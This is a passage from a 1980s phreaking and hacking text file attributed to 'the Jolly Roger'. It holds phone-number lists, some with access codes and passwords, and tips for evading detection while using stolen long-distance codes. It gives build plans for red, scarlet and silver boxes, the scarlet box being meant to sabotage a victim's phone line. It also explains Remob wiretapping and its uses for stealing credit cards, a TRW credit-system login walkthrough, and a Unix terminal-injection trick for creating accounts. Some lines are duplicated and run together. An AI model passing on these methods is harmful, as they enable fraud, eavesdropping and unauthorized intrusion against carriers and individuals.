  8377. 512 472 9941 INSERT 25 CENTS
  8378. 512 472 9941 SPECIAL RECORDING
  8379. 512 870 2345 "     "
  8380. 516 794 1707 "     "
  8381. 619 748 0002 LOOP LINE
  8382. 619 748 0003 "     "
  8383. 703 331 0057 MCI           (5 DIGITS)
  8384. 703 334 6831 WASH. POST
  8385. 703 354 8723 COMPEL INC.
  8386. 703 737 2051 METROPHONE    (6 DIGITS)
  8387. 703 835 0500 VALNET        (5 DIGITS)
  8388. 703 861 7000 SPRINT      (6/8 DIGITS)
  8389. 703 861 9181 SPRINT      (6/8 DIGITS)
  8390. 714 974 4020 CA. MAINFRAME
  8391. 716 475 1072 N.Y. DEC-SYSTEM
  8392. 800 222 0555 RESEARCH INSTITUTE
  8393. 800 223 3312 CITIBANK
  8394. 800 227 5576 EASTERN AIRLINES
  8395. 800 248 0151 WHITE HOUSE PRESS
  8396. 800 321 1424 FLIGHT PLANES
  8397. 800 323 3026 TEL-TEC       (6 GIGITS)
  8398. 800 323 4756 MOTOROLA DITELL
  8399. 800 323 7751 M.C.I. MAINFRAME
  8400. 800 325 4112 EAsYLINK
  8401. 800 325 6397 F.Y.I.
  8402. 800 344 4000 MSG SYSTEM
  8403. 800 368 6900 SKYLINE ORDER LINE
  8404. 800 424 9090 RONALD REAGAN'S PRESS
  8405. 800 424 9096 WHITE HOUSE SWITCH
  8406. 800 438 9428 ITT CITY CALL SWITCHING
  8407. 800 521 2255 AUTONET
  8408. 800 521 8400 TRAVELNET     (8 DIGITS)
  8409. 800 526 3714 RCA MAINFRAME
  8410. 800 527 1800 TYMNET
  8411. 800 621 3026 SPECIAL OPERATOR
  8412. 800 621 3028 "     "
  8413. 800 621 3030 "     "
  8414. 800 621 3035 "     "
  8415. 800 631 1146 VOICE STAT
  8416. 800 821 2121 BELL TELEMARKETING
  8417. 800 828 6321 XEROX            $
  8418.  
  8419.  
  8420. 800 858 9313 RECORD-A-VOICE
  8421. 800 882 1061 AT&T STOCK PRICES
  8422. 914 997 1277 "     "
  8423. 916 445 2864 JERRY BROWN
  8424. N/A 950 1000 SPRINT
  8425. N/A 950 1022 MCI EXECUNET
  8426. N/A 950 1033 US TELEPHONE
  8427. N/A 950 1044 ALLNET        (6 DIGITS)
  8428. N/A 950 1066 LEXITEL
  8429. N/A 950 1088 SKYLINE       (6 DIGITS)
  8430.  
  8431. -----------------------------------
  8432. PHONE #       | DESCRIPTION/CODE
  8433. -----------------------------------
  8434. 201-643-2227  | CODES:235199,235022
  8435.               |       AND 121270
  8436.               |
  8437. 800-325-4112  | WESTERN UNION
  8438.               |
  8439. 800-547-1784  | CODES:101111,350009
  8440.               |       AND 350008
  8441.               |
  8442. 800-424-9098  | TOLL FREE WHITE HS.
  8443.               |
  8444. 800-424-9099  | DEFENSE HOT LINE
  8445.               |
  8446. 202-965-2900  | WATERGATE
  8447.               |
  8448. 800-368-5693  | HOWARD BAKER HOTLN
  8449.               |
  8450. 202-456-7639  | REAGANS SECRETARY
  8451.               |
  8452. 202-545-6706  | PENTAGON
  8453.               |
  8454. 202-694-0004  | PENTAGON MODEM
  8455.               |
  8456. 201-932-3371  | RUTGERS
  8457.               |
  8458. 800-325-2091  | PASSWORD: GAMES
  8459.               |
  8460. 800-228-1111  | AMERICAN EXPRESS
  8461.               |
  8462. 617-258-8313  | AFTER CONNECT
  8463.               | PRESS CTRL-C
  8464.               |
  8465. 800-323-7751  | PASSWORD:REGISTER
  8466.               |
  8467. 800-322-1415  | CODES:266891,411266
  8468.               |       AND 836566
  8469.               | (USED BY SYSOP)
  8470. -----------------------------------
  8471.  The following 800 #'s have been
  8472. collected however no codes have
  8473. been found yet! if you hack any
  8474. please let me know...
  8475. -----------------------------------
  8476. phone #         | codes:
  8477. -----------------------------------
  8478.  
  8479.  
  8480. 800-321-3344    | ???????????
  8481. 800-323-3027    | ???????????
  8482. 800-323-3208    | ???????????
  8483. 800-323-3209    | ???????????
  8484. 800-325-7222    | ???????????
  8485. 800-327-9895    | ???????????
  8486. 800-327-9136    | ???????????
  8487. 800-343-1844    | ???????????
  8488. 800-547-1784    | ???????????
  8489. 800-547-6754    | ???????????
  8490. 800-654-8494    | ???????????
  8491. 800-682-4000    | ???????????
  8492. 800-858-9000    | ???????????
  8493. 800 #'s with carriers.
  8494. 800-323-9007
  8495. 800-323-9066
  8496. 800-323-9073
  8497. 800-321-4600
  8498. 800-547-1784
  8499. 1-800 numbers of the goverment.
  8500. 800-321-1082:NAVY FINANCE CENTER.
  8501. 800-424-5201:EXPORT IMPORT BANK.
  8502. 800-523-0677:ALCOHOL TOBACCO AND.
  8503. 800-532-1556:FED INFORMATION CNTR1-1082:NAVY FINANCE CENTER.
  8504. 800-424-5201:EXPORT IMPORT BANK.
  8505. 800-523-0677:ALCOHOL TOBACCO AND.
  8506. 800-532-1556:FED INFORMATION CNTR.
  8507. 800-325-4072:COMBAT & ARMS SERVICE.
  8508. 800-325-4095:COMBAT SUPPORT BRANCH.
  8509. 800-325-4890:ROPD USAR COMBAT ARMS.
  8510. 800-432-3960:SOCIAL SECURITY.
  8511. 800-426-5996:PUGET NAVAL SHIPYARD.
  8512. Directory of toll free numbers.
  8513. 800-432-3960:SOCIAL SECURITY.
  8514. 800-426-5996:PUGET NAVAL SHIPYARD.
  8515. Directory of toll free numbers.
  8516. 301-234-0100:BALTIMORE ELECTRIC.
  8517. 202-456-1414:WHITE HOUSE.
  8518. 202-545-6706:PENTAGON.
  8519. 202-343-1100:EPA.
  8520. 714-891-1267:DIAL-A-GEEK.
  8521. 714-897-5511:TIMELY.
  8522. 213-571-6523:SATANIC MESSAGES.
  8523. 213-664-7664:DIAL-A-SONG.
  8524. 405-843-7396:SYNTHACER MUSIC.
  8525. 213-765-1000:LIST OF MANY NUMBERS.
  8526. 512-472-4263:WIERD.
  8527. 512-472-9941:INSERT 25.
  8528. 203-771-3930:PIONEERS.
  8529. 213-254-4914:DIAL-A-ATHIEST.
  8530. 212-586-0897:DIRTY.
  8531. 213-840-3971:HOROWIERD
  8532. 203-771-3930:PIONEERS
  8533. 471-9420,345-9721,836-8962
  8534. 836-3298,323-4139,836-5698
  8535. 471-9440,471-9440,471-6952
  8536. 476-6040,327-9772,471-9480
  8537. 800-325-1693,800-325-4113
  8538.  
  8539.  
  8540. 800-521-8400:VOICE ACTIVATED
  8541. 213-992-8282:METROFONE ACCESS NUMBER
  8542. 617-738-5051:PIRATE HARBOR
  8543. 617-720-3600:TIMECOR #2
  8544. 301-344-9156:N.A.S.A PASSWORD:GASET
  8545. 318-233-6289:UNIVERSITY LOUISIANA
  8546. 213-822-2112:213-822-3356
  8547. 213-822-1924:213-822 3127
  8548. 213-449-4040:TECH CENTER
  8549. 213-937-3580:TELENET
  8550. 1-800-842-8781
  8551. 1-800-368-5676
  8552. 1-800-345-3878
  8553. 212-331-1433
  8554. 213-892-7211
  8555. 213-626-2400
  8556. 713-237-1822
  8557. 713-224-6098
  8558. 713-225-1053
  8559. 713-224-9417
  8560. 818-992-8282
  8561. 1-800-521-8400
  8562. After entering the sprint code,and, C+Destination number.Then enter this:
  8563. number:"205#977#22",And the main tracer for sprint will be disabled.
  8564. 215-561-3199/SPRINT LONG DISTANCE
  8565. 202-456-1414/WHITE HOUSE
  8566. 011-441-930-4832/QUEEN ELIZABETH
  8567. 916-445-2864/JERRY BROWN
  8568. 800-424-9090/RONALD REAGAN'S PRESS
  8569. 212-799-5017/ABC NEW YORK FEED LINE
  8570. 800-882-1061/AT & T STOCK PRICES
  8571. 212-986-1660/STOCK QUOTES
  8572. 213-935-1111/WIERD EFFECTS!
  8573. 512-472-4263/WIERD RECORDING
  8574. 212-976-2727/P.D.A.
  8575. 619-748-0002/FONE CO. TESTING LINES
  8576. 900-410-6272/SPACE SHUTTLE COMM.
  8577. 201-221-6397/AMERICAN TELEPHONE
  8578. 215-466-6680/BELL OF PENNSYLVANIA
  8579. 202-347-0999/CHESAPEAKE TELEPHONE
  8580. 213-829-0111/GENERAL TELEPHONE
  8581. 808-533-4426/HAWAIIAN TELEPHONE
  8582. 312-368-8000/ILLINOIS BELL TELEPHONE
  8583. 317-265-8611/INDIANA BELL
  8584. 313-223-7233/MICHIGAN BELL
  8585. 313-223-7223/NEVADA BELL
  8586. 207-955-1111/NEW ENGLAND TELEPHONE
  8587. 201-483-3800/NEW JERSEY BELL
  8588. 212-395-2200/NEW YORK TELEPHONE
  8589. 515-243-0890/NORTHWESTERN BELL
  8590. 216-822-6980/OHIO BELL
  8591. 206-345-2900/PACIFIC NORTHWEST BELL
  8592. 213-621-4141/PACIFIC TELEPHONE
  8593. 205-321-2222/SOUTH CENTRAL BELL
  8594. 404-391-2490/SOUTHERN BELL
  8595. 203-771-4920/SOUTHERN NEW ENGLAND
  8596. 314-247-5511/SOUTHWESTERN BELL
  8597. 414-678-3511/WISCONSIN TELEPHONE
  8598.  
  8599.  
  8600. 800-327-6713/UNKNOWN ORIGIN
  8601. 303-232-8555/HP3000
  8602. 315-423-1313/DEC-10
  8603. 313-577-0260/WAYNE STATE
  8604. 512-474-5011/AUSTIN COMPUTERS
  8605. 516-567-8013/LYRICS TIMESHARING
  8606. 212-369-5114/RSTS/E
  8607. 415-327-5220/NEC
  8608. 713-795-1200/SHELL COMPUTERS
  8609. 518-471-8111/CNA OF NY
  8610. 800-327-6761/AUTONET
  8611. 800-228-1111/VISA CREDIT CHECK
  8612. 713-483-2700/NASUA
  8613. 213-383-1115/COSMOS
  8614. 408-280-1901/TRW
  8615. 404-885-3460/SEARS CREDIT CHECK
  8616. 414-289-9988/AARDVARK SOFTWARE
  8617. 919-852-1482/ANDROMEDA INCORPORATED
  8618. 213-985-2922/ARTSCI
  8619. 714-627-9887/ASTAR INTERNATIONAL
  8620. 415-964-8021/AUTOMATED SIMULATIONS
  8621. 503-345-3043/AVANT GARDE CREATIONS
  8622. 415-456-6424/BRODERBUND SOFTWARE
  8623. 415-658-8141/BUDGE COMPANY
  8624. 714-755-5392/CAVALIER COMPUTER
  8625. 801-753-6990/COMPUTER DATA SYSTEMS
  8626. 213-701-5161/DATASOFT INC.
  8627. 213-366-7160/DATAMOST
  8628. 716-442-8960/DYNACOMP
  8629. 213-346-6783/EDU-WARE
  8630. 800-631-0856/HAYDEN
  8631. 919-983-1990/MED SYSTEMS SOFTWARE
  8632. 312-433-7550/MICRO LAB
  8633. 206-454-1315/MICROSOFT
  8634. 301-659-7212/MUSE SOFTWARE
  8635. 209-683-6858/ON-LINE SYSTEMS
  8636. 203-661-8799/PROGRAM DESIGN (PDI)
  8637. 213-344-6599/QUALITY SOFTWARE
  8638. 303-925-9293/SENTIENT SOFTWARE
  8639. 702-647-2673/SIERRA SOFTWARE
  8640. 916-920-1939/SIRIUS SOFTWARE
  8641. 215-393-2640/SIR-TECH
  8642. 415-962-8911/SOFTWARE PUBLISHERS
  8643. 415-964-1353/STRATEGIC SIMULATIONS
  8644. 217-359-8482/SUBLOGIC COM.
  8645. 206-226-3216/SYNERGISTIC SOFTWARE
  8646. Here are a few tips on how not to get caught when using MCI or other
  8647. such services:
  8648.    1- Try not to use them for voice to voice personal calls. Try to use
  8649.       them for computer calls only. Here is why:
  8650.       MCI and those other services can't really trace the calls that
  8651.       come through the lines,they can just monitor them. They can
  8652.       listen in on your calls and from that,they can get your name and
  8653.       other information from the conversation. They can also call
  8654.       the number you called and ask your friend some questions. If
  8655.       you call terminals and BBS'S then it is much harder to get
  8656.       information. For one thing,most sysops won't give these dudes
  8657.       that call any info at all or they will act dumb because they
  8658.  
  8659.  
  8660.       PHREAK themselves!
  8661.    2- Beware when using colored boxes! They are easy to find!!!!!
  8662.    3- Try to find a sine-wave number. Then use an MCI or other service
  8663.       to call it. You will hear a tone that goes higher and lower. If
  8664.       the tone just stops,then that code is being monitored and you
  8665.       should beware when using it.
  8666. ----------------------------------------
  8667.      If you do get caught,then if you think you can,try to weasel out of
  8668. it.
  8669.     I have heard many stories about people that have pleaded with the MCI
  8670.  guys and have been let off. You will get a call from a guy that has been
  8671.  monitoring you. Act nice. Act like you know it is now wrong to do this
  8672.  kind of thing.....just sound like you are sorry for what you did. (If you
  8673.  get a call,you probably will be a little sorry!)
  8674.  Otherwise,it is very dangerous!!!!!!! (Very with a capital V!)
  8675.  
  8676.                              -------------------Jolly Roger
  8677.  
  8678.  
  8679.  
  8680. Red Box Plans                                   by the Jolly Roger
  8681.  
  8682. Red boxing is simulating the tones produced by public payphones when you
  8683. drop your money in. The tones are beeps of 2200 Hz + 1700 Hz
  8684. Nickle = 1 beep for 66 milliseconds.
  8685. Dime = 2 beeps, each 66 milliseconds with a 66 millisecond pause between
  8686. beeps.
  8687. Quarter = 5 beeps, each 33 milliseconds with a 33 millisecond
  8688. pause between beeps.
  8689.  
  8690. There are two commonly used methods being used by Phreaks to make free
  8691. calls.
  8692. 1. An electronic hand-held device that is made from a pair of Wien-bridge
  8693. oscillators with the timing controlled by 555 timing chips.
  8694. 2. A tape recording of the tones produced by a home computer. One of
  8695. the best computers to use would be an Atari ST. It is one of the easier
  8696. computers to use because the red box tones can be produced in basic with
  8697. only
  8698. about 5 statments.
  8699.  
  8700.                              --------------------Jolly Roger
  8701.  
  8702. [__RemObS_________________________]             by the Jolly Roger
  8703.  
  8704. Some of you may have heard of devices called Remobs which stands
  8705. for Remote Observation System. These Devices allow supposedly
  8706. authorized telephone employees to dial into them from anywhere, and
  8707. then using an ordinary touch tone fone, tap into a customer's line
  8708. in a special receive only mode. [The mouthpiece circuit is
  8709. deactivated, allowing totally silent observation from any
  8710. fone in the world (Wire tapping without a court order is against
  8711. the law)]
  8712.  
  8713. [__How Remobs Work______________]
  8714. Dial the number of a Remob unit.  Bell is rumored to put them in the
  8715. 555 information exchanges, oron special access trunks
  8716. [Unreachable except via blue box].  A tone will then be heard
  8717. for approximately 2 seconds and then silence.  You must key in
  8718.  
  8719.  
  8720. (In DTMF) a 2 to 5 digit access code while holding each digit down
  8721. at least 1 second.  If the code is not entered within 5 or 6 seconds,
  8722. the Remob will release and must be dialed again.  If the code is
  8723. supposedly another tone will be heard.  A seven digit subscriber
  8724. fone number can then be entered [The Remob can only handle certain
  8725. 'exchanges' which are prewired, so usually one machine cannot
  8726. monitor an entire NPA].  The Remob will then connect to the
  8727. subscribers line.  The listener will hear the low level idle tone
  8728. as long as the monitored party is on hook.  As the monitored party
  8729. dials [rotary or DTMF], the listener would hear [And Record]
  8730. the number being dialed.  Then the ENTIRE conversation, datalink,
  8731. whatever is taking place,  all without detection.  There is no
  8732. current box which can detect Remob observation, since it is being done
  8733. with the telephone equipment that makes the connection.  When the
  8734. listener is finished monitoring of that particular customer,  he keys
  8735. the last digit of the access code to disconnects him from the
  8736. monitored line and return to the tone so that he can key in another
  8737. 7 digit fone #.  When the listener is totally finished with the Remob,
  8738. he keys a single 'disconnect digit' which disconnects him from the
  8739. Remob so that the device can reset and be ready for another caller.
  8740.  
  8741. [_History of Remobs_______________]
  8742.      Bell has kept the existance of Remobs very low key.  Only in
  8743. 1974, Bell acknowledged that Remobs existed.  The device was
  8744. first made public during hearings on "Telephone Monitoring Practices
  8745. by Federal Agencies" before a subcommittee on government
  8746. operations.  House of Representatives, Ninety-Third Congress, June
  8747. 1974.
  8748. It has since been stated by Bell that the Remob devices
  8749. are used exclusively for monitoring Bell employees such as operators,
  8750. information operators, etc., to keep tabs on their performance.
  8751. [Suuureee, were stupid]
  8752.  
  8753. [__Possible Uses for Remobs__]
  8754.      The possible uses of Remobs are almost as endless as the uses
  8755. of self created fone line.  Imagine the ability to monitor bank lines
  8756. etc, just off the top of my head I can think of these applications:
  8757.  
  8758.      Data Monitoring of:
  8759. TRW
  8760. National Credit Bureau
  8761. AT&T Cosmos
  8762. Bank Institutions
  8763. Compuserve and other Networks.
  8764.      Voice Monitoring of:
  8765. Bank Institutions
  8766. Mail Order buisnesses.
  8767. Bell Telephone themselves.
  8768. Any place handling sensitive or important information.
  8769. Anyone that you may not like.
  8770.  
  8771.      With just one Remob, someone could get hundreds of credit cards,
  8772. find out who was on vacation, get compuserve passwords by the dozens,
  8773. disconnect peoples fones, do credit checks, find out about anything
  8774. that they may want to find out about.  Im sure you brilliant
  8775. can see the value of a telephone hobbiest and a telecommunications
  8776. enthusist getting his hands on a few choice Remobs. <Grin>
  8777.  
  8778.  
  8779.  
  8780. [_Caution________________________]
  8781.    If any reader should discover a Remob during his (or her) scanning
  8782. excursions,  please keep in mind the very strict federal laws
  8783. regarding wiretapping and unauthorized use of private Bell property.
  8784.  
  8785.                               ------------------Jolly Roger
  8786.  
  8787. Scarlet Box Plans                               by the Jolly Roger
  8788.  
  8789.    The purpose of a Scarlet box is to create a very bad conection,
  8790. it can be used to crash a BBS or just make life miserable for those you
  8791. seek to avenge.
  8792. Materials: 2 alligator clips, 3 inch wire, or a resister
  8793. (plain wire will create greatest amount of static)
  8794. (Resister will decrease the amount of static in porportion to
  8795. the resister you are using)
  8796.  
  8797. Step (1): Find the phone box at your victims house, and pop the cover off.
  8798. Step (2): Find the two prongs that the phone line you wish to box are
  8799. connected to.
  8800. Step (3): Hook your alligator clips to your (wire/resister).
  8801. Step (4): Find the lower middle prong and take off all wires connected to
  8802. it, i think this disables the ground and call waiting and shit like that.
  8803. Step (5): Now take one of the alligator clips and attach it to the upper
  8804. most prong, and take the other and attach it to the lower middle prong.
  8805. Step (6): Now put the cover back on the box and take off!!
  8806.  
  8807.    **       ######## **
  8808.    **       # #### #      **
  8809.             ########       /
  8810.             # #### #      /
  8811.             ########     /
  8812.                         /
  8813.                        /
  8814.                       /
  8815.                      /
  8816.                     /
  8817.                    /
  8818.                   /
  8819.                **/
  8820.                **
  8821.                **
  8822.                **
  8823.                **
  8824.                **
  8825.  
  8826. (**)= prongs
  8827.  **
  8828. (/) = (wire/resister)
  8829. (##)= some phone bullshit
  8830.  
  8831.                                 --------------------Jolly Roger
  8832.  
  8833. Silver Box Plans                                 by the Jolly Roger
  8834.  
  8835. Introduction:
  8836. ------------
  8837.      First a bit of Phone Trivia. A standard telephone keypad has 12
  8838.  
  8839.  
  8840. buttons.
  8841. These buttons, when pushed, produce a combination of two tones. These tones
  8842. represent the row and column of the button you are pushing.
  8843.             1   1   1
  8844.             2   3   4
  8845.             0   3   7
  8846.             9   6   7
  8847.      697   (1) (2) (3)
  8848.      770   (4) (5) (6)
  8849.      851   (7) (8) (9)
  8850.      941   (*) (0) (#)
  8851. So (1) produces a tone of 697+1209, (2) produces a tone of 697+1336, etc.
  8852.  
  8853. Function:
  8854. --------
  8855.      What the Silver Box does is just creates another column of buttons,
  8856. with the new tone of 1633. These buttons are called A, B, C, and D.
  8857.  
  8858. Usefulness:
  8859. ----------
  8860.      Anyone who knows anything about phreaking should know that in the
  8861. old days of phreaking, phreaks used hardware to have fun instead of other
  8862. people's Sprint and MCI codes. The most famous (and useful) was the good
  8863. ol' Blue Box. However, Ma Bell decided to fight back and now most phone
  8864. systems
  8865. have protections against tone-emitting boxes. This makes boxing just
  8866. about futile in most areas of the United States (ie those areas with
  8867. Crossbar
  8868. or Step-By-Step). If you live in or near a good-sized city, then your phone
  8869. system is probably up-to-date (ESS) and this box (and most others)
  8870. will be useless. However, if you live in the middle of nowhere (no offense
  8871. intended), you may find a use for this and other boxes.
  8872.  
  8873. Materials:
  8874. ---------
  8875.      1  Foot of Blue Wire
  8876.      1  Foot of Grey Wire
  8877.      1  Foot of Brown Wire
  8878.      1  Small SPDT Switch (*)
  8879.      1  Standard Ma Bell Phone
  8880. (*) SPDT = Single Pole/Double Throw
  8881.  
  8882. Tools:
  8883. -----
  8884.      1  Soldering Iron
  8885.      1  Flat-Tip Screwdriver
  8886.  
  8887. Procedure:
  8888. ---------
  8889. (1) Loosen the two screws on the bottom of the phone and take the casinf
  8890. off.
  8891. (2) Loosen the screws on the side of the keypad and remove the keypad from
  8892. the mounting bracket.
  8893. (3) Remove the plastic cover from the keypad.
  8894. (4) Turn the keypad so that *0# is facing you. Turn the keypad over. You'll
  8895. see
  8896. a bunch of wires, contacts, two Black Coils, etc.
  8897. (5) Look at the Coil on the left. It will have five (5) Solder Contacts
  8898.  
  8899.  
  8900. facing you. Solder the Grey Wire to the fourth Contact Pole from the left.
  8901. (6) Solder the other end of the Grey Wire to the Left Pole of the SPDT
  8902. Switch.
  8903. (7) Find the Three (3) Gold-Plated Contacts on the bottom edge of the
  8904. keypad.
  8905. On the Left Contact, gently seperate the two touching Connectors (they're
  8906. soldered together) and spread them apart.
  8907. (8) Solder the Brown Wire to the Contact farthest from you, and solder the
  8908. other end to the Right Pole of the SPDT Switch.
  8909. (9) Solder the Blue Wire to the Closest Contact, and the other end to the
  8910. Center Pole of the SPDT Switch.≡ ≡≡ ≡(10) Put the phone back together.
  8911.  
  8912. Using The Silver Box:
  8913. --------------------
  8914.      What you have just done was installed a switch that will change
  8915. the 369# column into an ABCD column. For example, to dial a 'B', switch
  8916. to Silver Box Tones and hit '6'.
  8917.      Noone is sure of the A, B, and C uses. However, in an area with an
  8918. old phone system, the 'D' button has an interesting effect. Dial Directory
  8919. Assistance and hold down 'D'. The phone will ring, and you
  8920. should get a pulsing tone. If you get a pissed-off operator, you have a
  8921. newer phone system with defenses against Silver Boxes.
  8922. At the pulsing tone, dial a 6 or 7. These are loop ends.
  8923.  
  8924.                                  -----------------Jolly Roger
  8925.  
  8926. Bell Trashing                                   by the Jolly Roger
  8927.  
  8928.      The Phone Co. will go to extreams on occasions. In fact, unless
  8929. you really know what to expect from them, they will suprise the heck
  8930. out of you with their "unpublished tarriffs". Recently, a situation
  8931. was brought to my attention that up till then I had been totaly
  8932. unaware of, least to mention, had any concern about. It involved gar-
  8933. bage! The phone co. will go as far as to prosecute anyone who rumages
  8934. through their garbage and helps himself to some
  8935.      Of course, they have their reasons for this, and no doubt benefit
  8936. from such action. But, why should they be so picky about garbage? The
  8937. answer soon became clear to me: those huge metal bins are filled up
  8938. with more than waste old food and refuse... Although it is Pacific
  8939. Tele. policy to recycle paper waste products, sometimes employees do
  8940. overlook this sacred operation when sorting the garbage.  Thus
  8941. top-secret confidential Phone Co. records go to the garbage bins
  8942. instead of the paper shredders. Since it is constantly being updated
  8943. with "company memorandums, and supplied with extensive reference
  8944. material, the Phone co. must continualy dispose of the outdated
  8945. materials. Some phone companies are supplied each year with the
  8946. complete "System Practices" guide. This publication is an over 40
  8947. foot long library of reference material about everything to do with
  8948. telephones. As the new edition arrives each year, the old version of
  8949. "System Practices" must also be thrown out.
  8950.     I very quickly figured out where some local phone phreaks were
  8951. getting their material. They crawl into the garbage bins and remove
  8952. selected items that are of particular interest to them and their
  8953. fellow phreaks. One phone phreak in the Los Angeles area has salvaged
  8954. the complete 1972 edition of "Bell System Practices". It is so large
  8955. and was out of order (the binders had been removed) that it took him
  8956. over a year to sort it out and create enough shelving for it in his
  8957. garage.
  8958.  
  8959.  
  8960.      Much of this "Top Secret" information is so secret that most phone
  8961. companies have no idea what is in their files. They have their hands
  8962. full simply replacing everything each time a change in wording
  8963. requires a new revision. It seems they waste more paper than they can
  8964. read!
  8965.      It took quite a while for Hollywood Cal traffic manager to figure
  8966. out how all of the local phone phreaks constantly discovered the
  8967. switchroom test numbers
  8968.      Whenever someone wanted to use the testboard, they found the local
  8969. phone phreaks on the lines talking to all points all over the world.
  8970. It got to the point where the local garbage buffs knew more about the
  8971. office operations than the employees themselves. One phreak went so
  8972. far as to call in and tell a switchman what his next daily assignment
  8973. would be. This, however, proved to be too much. The switchman
  8974. traced the call and one phone phreak was denied the tool of his trade.
  8975.      In another rather humorous incident, a fellow phreak was rumaging
  8976. through the trash bin when he heard somone apraoching. He pressed up
  8977. against the side of the bin and silently waited for the goodies to
  8978. come. You can imagine his surprise when the garbage from the lunchroom
  8979. landed on his head. Most people find evenings best for checking out
  8980. their local telco trash piles. The only thing necessary is a
  8981. flashlight and, in the case mentioned above, possibly a rain coat. A
  8982. word of warning though, before you rush out and dive into the trash
  8983. heap. It is probably illegal, but no matter where you live, you
  8984. certainly won't get the local policeman to hold your flashlight for
  8985. you.
  8986.                               --------------------Jolly Roger
  8987.  
  8988. Canadian WATS Phonebook                courtesy of the Jolly Roger
  8989.  
  8990. 800-227-4004 ROLM Collagen Corp.
  8991. 800-227-8933 ROLM Collagen Corp.
  8992. 800-268-4500 Voice Mail
  8993. 800-268-4501 ROLM Texaco
  8994. 800-268-4505 Voice Mail
  8995. 800-268-6364 National Data Credit
  8996. 800-268-7800 Voice Mail
  8997. 800-268-7808 Voice Mail
  8998. 800-328-9632 Voice Mail
  8999. 800-387-2097 Voice Mail
  9000. 800-387-2098 Voice Mail
  9001. 800-387-8803 ROLM Canadian Tire
  9002. 800-387-8861 ROLM Canadian Tire
  9003. 800-387-8862 ROLM Canadian Tire
  9004. 800-387-8863 ROLM Canadian Tire
  9005. 800-387-8864 ROLM Canadian Tire
  9006. 800-387-8870 ROLM Halifax Life
  9007. 800-387-8871 ROLM Halifax Life
  9008. 800-387-9115 ASPEN Sunsweep
  9009. 800-387-9116 ASPEN Sunsweep
  9010. 800-387-9175 PBX [Hold Music=CHUM FM]
  9011. 800-387-9218 Voice Messenger
  9012. 800-387-9644 Carrier
  9013. 800-426-2638 Carrier
  9014. 800-524-2133 Aspen
  9015. 800-663-5000 PBX/Voice Mail [Hold Music=CFMI FM]
  9016. 800-663-5996 Voice Mail (5 rings)
  9017. 800-847-6181 Voice Mail
  9018.  
  9019.  
  9020. çNOTES:  Each and every one of these numbers is available to the 604
  9021. (British Columbia) Area Code.  Most are available Canada Wide and some
  9022. are located in the United States.  Numbers designated ROLM have been
  9023. identified as being connected to a ROLM Phonemail system.
  9024. Numbers designated ASPEN are connected to an ASPEN voice message system.
  9025. Numbers designated VOICE MAIL have not been identified as to equipment
  9026. in use on that line.  Numbers designated carrier are answered by a modem
  9027. or data set.
  9028. Most Voice Message systems, and ALL Rolms, sound like an answering machine.
  9029. Press 0 during the recording when in a rolm, * or # or other DTMF in other
  9030. systems, and be propelled into another world...
  9031.  
  9032. Brought to you in the Cookbook by the Jolly Roger!!!!!!!!!!!!!!!!
  9033.  
  9034.  
  9035. Hacking TRW                                      by the Jolly Roger
  9036.  
  9037.     When you call TRW, the dial up will identify itself with the message
  9038. "TRW".
  9039. It will then wait for you to type the appropiate answer back (such as
  9040. CTRL-G)
  9041.  Once This has been done, the system will say "CIRCUIT BUILDING IN
  9042. PROGRESS"
  9043. Along with a few numbers. After this, it clears the screen
  9044. (CTRL  L) followed by a CTRL-Q. After the system sends the CTRL-Q, It is
  9045. ready for the request. You first type the 4 character identifyer for the
  9046. geographical area of the account..
  9047.  
  9048. (For Example) TCA1 - for certain Calif. & Vicinity subscribers.
  9049. TCA2 - A second CALF. TRW System.
  9050. TNJ1 - Their NJ Database.
  9051. TGA1 - Their Georgia Database.
  9052.  
  9053. The user then types A <CR> and then on the next line, he must type
  9054. his 3 char. Option. Most Requests use the RTS option.
  9055. OPX, RTX, and a few others exist. (NOTE) TRW will accept an A, C,
  9056. or S as the 'X' in the options above.) Then finally, the user types his 7
  9057. digit subscriber code. He appends his 3-4 character password after it.  It
  9058. seems that if you manage to get hold of a TRW Printout (Trashing at Sears,
  9059. Saks, ETC. or from getting your credit printout from them) Their subscriber
  9060. code will be on it leaving only a 3-4 character p/w up to you.
  9061.  
  9062. For Example,
  9063. (Call the DialUp)
  9064. TRW  System Types, ST) CTRL-G
  9065. (You type,YT) Circuit building in progress 1234
  9066. (ST) CTRL-L CRTL-Q (TCA1 CYT) BTS 3000000AAA
  9067. <CR><CRTL-S> (YT]
  9068. Note: This sytem is in Half Duplex, Even Parity, 7 Bits per word and
  9069. 2 Stop Bits.
  9070.  
  9071. CAUTION: It is a very stressed rumor that after typing in the TRW
  9072. password Three (3) times.. It sets an Automatic Number Identification on
  9073. your
  9074. ass, so be careful. And  forget who told you how to do this..
  9075.  
  9076.                                  ------------------Jolly Roger
  9077.  
  9078.  
  9079.  
  9080. Hacking Vax's & Unix                             by the Jolly Roger
  9081.  
  9082.     Unix is a trademark of At&t (and you know what that means)
  9083.  
  9084. _______________________________________
  9085. In this article, we discuss the unix system that runs on
  9086. the various vax systems.  If you are on another unix-type system, some
  9087. commands may differ, but since it is licenced to bell, they can't make many
  9088. changes.
  9089. _______________________________________
  9090. Hacking onto a unix system is very difficult, and in this case, we advise
  9091. having an inside source, if possible. The reason it is difficult to hack a
  9092. vax is this:  Many vax, after you get a carrier from them, respond=>
  9093. Login:
  9094. They give you no chance to see what the login name format is.  Most
  9095. commonly
  9096. used are single words, under 8 digits, usually the person's name.  There is
  9097. a way around this:  Most vax have an acct. called 'suggest' for people to
  9098. use to make a suggestion to the system root terminal.  This is usually
  9099. watched
  9100. by the system operator, but at late he is probably at home sleeping or
  9101. screwing someone's brains out.  So we can write a program to send at the
  9102. vax this type of a message:
  9103. A screen freeze (Cntrl-s), screen clear (system dependant), about 255
  9104. garbage characters, and then a command to create a login acct., after which
  9105. you clear the screen again, then unfreeze the terminal.  What this does:
  9106. When the terminal is frozen, it keeps a buffer of what is sent.  well, the
  9107. buffer is about 127 characters long. so you overflow it with trash, and
  9108. then
  9109. you send a command line to create an acct. (System dependant).  after this
  9110. you clear the buffer and screen again, then unfreeze the terminal.  This is
  9111. a bad way to do it, and it is much nicer if you just send a command to
  9112. the terminal to shut the system down, or whatever you are after...
  9113. There is always, *Always* an acct. called root, the most powerful acct.
  9114. to be on, since it has all of the system files on it.  If you hack your
  9115. way onto this one, then everything is easy from here on...
  9116. On the unix system, the abort key is the Cntrl-d key.  watch how many times
  9117. you hit this, since it is also a way to log off the system!
  9118. A little about unix architechture: The root directory, called root, is
  9119. where the system resides.  After this come a few 'sub' root directories,
  9120. usually to group things (stats here, priv stuff here, the user log
